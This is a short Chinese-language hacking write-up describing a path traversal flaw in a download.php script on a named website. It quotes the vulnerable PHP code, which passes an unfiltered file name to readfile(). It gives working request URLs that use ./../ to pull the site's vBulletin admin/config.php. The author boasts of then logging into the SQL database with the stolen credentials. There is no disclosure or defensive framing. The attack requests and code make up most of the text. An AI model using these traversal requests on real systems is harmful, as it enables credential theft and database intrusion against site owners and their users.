by ≯Super·Hei (sex.cnse8.com)
问题出在下载系统的download.php
我们访问：http://www.cnwill.com/soft/download.php?fname=./www.ChinaSafe.org.txt
呵呵 ！！ 看到./你会想到什么 :)
http://www.cnwill.com/soft/download.php?fname=./www.ChinaSafe.org.txt
返回：
Warning: readfile(): Unable to access ../www.ChinaSafe.org.txt in /usr/home/cnwill/soft/download.php on line 35
Warning: readfile(../www.ChinaSafe.org.txt): failed to open stream: Invalid argument in /usr/home/cnwill/soft/download.php on line 35
看来使用的是readfile()，去下个原文件看看先。download.php代码：
$extensie = strrchr($_GET[fname], ".");
if (!in_array(substr($extensie, 1), $not_to_be_dloaded)) {
// the source file is output
readfile($_GET[fname]);
} else {
// message when downloading a forbidden file
echo "$msg_not_allowed";
}
?>
对fname没有过滤.和/ 看来我们可以readfile所有的文件拉 哈哈~~~
目标得到论坛config.php，呵呵~~ 其他的好象都是文本数据的 。
看看论坛 Powered by: vBulletin Version 2.2.8
提交http://www.cnwill.com/forum/readme.txt 返回readme.txt的内容，看来存在readme.txt
我们回到download.php，提交：
http://www.cnwill.com/soft/download.php?fname=./../forum/readme.txt 哈哈!!
成功返回 胜利就在眼前拉。
提交http://www.cnwill.com/soft/download.php?fname=./../forum/admin/config.php
哈哈 出现个下载提示，用网快下载后打开：
呵呵 用sql连接成功，hoho 以下的事是体力活。。呵呵 不想干了
|
|